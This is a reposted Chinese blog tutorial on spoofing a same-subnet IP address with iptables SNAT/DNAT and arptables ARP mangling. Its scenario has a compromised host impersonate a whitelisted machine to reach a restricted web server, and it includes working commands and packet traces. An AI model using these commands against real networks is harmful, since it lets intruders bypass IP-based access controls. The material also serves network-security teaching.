利用防火墙进行同网段下的ip地址欺骗

本文涉及的产品
云防火墙,500元 1000GB
简介:

 Author:Tm3yShell7 @ www.HackShell.net

#转载请保留此信息

我们知道,tcp/ip在不同层次寻址的依据是不同的,要进行传输的信息往往是根据ip地址路由到相应的子网,然后在子网内根据mac地址找到相应的主机。

可以看出,在保证主机通过计算得到的目的主机和自己在相同网段的情况下,主机便知道此次数据并不需要ip层路由,因此该数据在自己网段内寻址是完全依据mac地址的。在此情况下,我们对第三层ip地址的更改,就不会影响到数据在网络中的传递。

如此一来,我们便可以随意伪造同网段的ip地址,进行ip地址欺骗,同时保证通信的可达性。

这些工作理论上通过pcap编程很好实现,虽然目前为止网上还没实现此类功能的成品程序。现在有趣的是我们将要使用保护我们安全的防火墙去实现它。主要利用点是iptables实现nat功能的部分。

两款防火墙分别是:netfilter/iptables和ebtables(arptables)

为了使此次讨论有价值,我们想象这样一种情景,也是我碰到过的真实情况:我们得到了192.168.254.130这台机器的控制权,我们的目标机器是同网段的192.168.254.1的机器,这台机器的web服务限制了只有192.168.254.22可以访问。
192.168.254.1(目标服主机):


192.168.254.130(我们已经控制的主机):

首先针对本地发往目的主机的包进行修改:
对源地址为本地(-s 192.168.254.130)目的地址为192.168.254.1(-d 192.168.254.1)端口为80/tcp(-p tcp –dport 80)的数据包在POSTROUTING链进行所谓的NAT(SNAT,修改源地址为192.168.254.22):
#iptables -t nat -A POSTROUTING -p tcp –dport 80 -s 192.168.254.130 -d 192.168.254.1 -j SNAT –to 192.168.254.22

然后针对目的主机返回本机的数据包进行修改:
参数意义基本同上(DNAT,修改目的地址为本机,以使本地网卡捕获该数据包)
#iptables -t nat -A PREROUTING -p tcp –sport 80 -s 192.168.254.1 -d 192.168.254.22 -j DNAT –to 192.168.254.130

这样可以了吗?最开始我认为这样就可以了, so lets check it out:
#tcpdump -nn -i eth0 >test.dmp & #see if the packet transfer in the way we think
#wget http://192.168.254.1/1.php

结果是超时,我们看看问题出在哪里:
# cat test.dmp
03:48:01.963477 arp who-has 192.168.254.1 tell 192.168.254.130
03:48:02.377828 arp reply 192.168.254.1 is-at 00:50:56:c0:00:08
03:48:02.399608 IP 192.168.254.22.59152 > 192.168.254.1.80: S 3652953733:3652953733(0) win 5840 <mss 1460,sackOK,timestamp 21218394 0,nop,wscale 6>
03:48:02.456238 arp who-has 192.168.254.22 tell 192.168.254.1
03:48:02.513615 arp who-has 192.168.254.22 tell 192.168.254.1
03:48:03.513636 arp who-has 192.168.254.22 tell 192.168.254.1
03:48:04.956832 arp who-has 192.168.254.22 tell 192.168.254.1
03:48:05.513691 arp who-has 192.168.254.22 tell 192.168.254.1
03:48:06.090730 IP 192.168.254.22.59152 > 192.168.254.1.80: S 3652953733:3652953733(0) win 5840 <mss 1460,sackOK,timestamp 21221394 0,nop,wscale 6>
03:48:06.513826 arp who-has 192.168.254.22 tell 192.168.254.1
03:48:10.958625 arp who-has 192.168.254.22 tell 192.168.254.1
03:48:11.514137 arp who-has 192.168.254.22 tell 192.168.254.1

我们可以看到, 直接发送标记有ip和mac地址的tcp协议数据包似乎并不能使主机把该包来源主机的mac地址缓存,因此我们还应更改我们主机查询192.168.254.1的mac时的arp请求帧中的源地址。

因为iptables工作在第三层,因此欲修改arp帧必须用到ebtables (arptables)

#arptables -A OUTPUT -s 192.168.254.130 -d 192.168.254.1 -j mangle –mangle-ip-s 192.168.254.22

同理,最后 –mangle-ip-s的作用是“Mangles Source IP Address to given value.” 这样目标主机便不会再广播帧去寻找主机22的mac地址了。
为了向1主机发送arp请求,需清除本机arp缓存:
#arp -d 192.168.254.1
#tcpdump -nn -i eth0 >test0.dmp &
# wget 192.168.254.1/ip.php
–2011-04-01 04:05:51–  http://192.168.254.1/ip.php
Connecting to 192.168.254.1:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 15 [text/html]Saving to: `ip.php’
100%[======================================>] 15         –.-K/s   in 0s
2011-04-01 04:05:51 (1.93 MB/s) – `ip.php’ saved [15/15]

ip.php的功能是现实客户端ip地址:
#cat ip.php
192.168.254.22

由此可见,我们的欺骗成功了。a



本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/537813,如需转载请自行联系原作者

相关文章
|
Linux 网络安全 数据库
CentOS7开启Firewalld防火墙日志记录获取被拦截的IP
CentOS7开启Firewalld防火墙日志记录获取被拦截的IP
1843 0
CentOS7开启Firewalld防火墙日志记录获取被拦截的IP
|
网络协议 Linux 网络安全
centos 6/7 防火墙端口管理与限制来访IP请求端口
端口管理,限制来访IP访问
1764 0
|
26天前
|
网络协议 网络安全 网络虚拟化
本文介绍了十个重要的网络技术术语,包括IP地址、子网掩码、域名系统(DNS)、防火墙、虚拟专用网络(VPN)、路由器、交换机、超文本传输协议(HTTP)、传输控制协议/网际协议(TCP/IP)和云计算
本文介绍了十个重要的网络技术术语,包括IP地址、子网掩码、域名系统(DNS)、防火墙、虚拟专用网络(VPN)、路由器、交换机、超文本传输协议(HTTP)、传输控制协议/网际协议(TCP/IP)和云计算。通过这些术语的详细解释,帮助读者更好地理解和应用网络技术,应对数字化时代的挑战和机遇。
69 3
|
26天前
|
存储 网络协议 安全
30 道初级网络工程师面试题,涵盖 OSI 模型、TCP/IP 协议栈、IP 地址、子网掩码、VLAN、STP、DHCP、DNS、防火墙、NAT、VPN 等基础知识和技术,帮助小白们充分准备面试,顺利踏入职场
本文精选了 30 道初级网络工程师面试题,涵盖 OSI 模型、TCP/IP 协议栈、IP 地址、子网掩码、VLAN、STP、DHCP、DNS、防火墙、NAT、VPN 等基础知识和技术,帮助小白们充分准备面试,顺利踏入职场。
77 2
|
2月前
|
监控 网络协议 Shell
ip和ip网段攻击拦截系统-绿叶结界防火墙系统shell脚本
这是一个名为“小绿叶技术博客扫段攻击拦截系统”的Bash脚本,用于监控和拦截TCP攻击。通过抓取网络数据包监控可疑IP,并利用iptables和firewalld防火墙规则对这些IP进行拦截。同时,该系统能够查询数据库中的白名单,确保合法IP不受影响。此外,它还具备日志记录功能,以便于后续分析和审计。
53 6
|
7月前
|
监控 网络协议 安全
【亮剑】当设备IP能ping通但无法上网时,可能是DNS解析、网关/路由设置、防火墙限制、网络配置错误或ISP问题
【4月更文挑战第30天】当设备IP能ping通但无法上网时,可能是DNS解析、网关/路由设置、防火墙限制、网络配置错误或ISP问题。解决步骤包括检查网络配置、DNS设置、网关路由、防火墙规则,以及联系ISP。预防措施包括定期备份配置、更新固件、监控网络性能和实施网络安全策略。通过排查和维护,可确保网络稳定和安全。
1323 1
|
网络协议 Linux 网络安全
suse 12 配置ip,dns,网关,hostname,ssh以及关闭防火墙
suse 12 配置ip,dns,网关,hostname,ssh以及关闭防火墙
370 0
|
7月前
|
网络协议 Linux 网络安全
Centos7 防火墙策略rich-rule 限制ip访问-----图文详解
Centos7 防火墙策略rich-rule 限制ip访问-----图文详解
1138 0
|
7月前
|
网络协议 Shell Linux
系统初始化shell,包括:挂载镜像、搭建yum、设置主机名及IP地址和主机名映射、配置动态IP、关闭防火墙和selinux
系统初始化shell,包括:挂载镜像、搭建yum、设置主机名及IP地址和主机名映射、配置动态IP、关闭防火墙和selinux
96 2
|
应用服务中间件 Linux Shell
CentOS7下利用自带防火墙+Nginx封堵高频访问的恶意IP
CentOS7下利用自带防火墙+Nginx封堵高频访问的恶意IP
247 0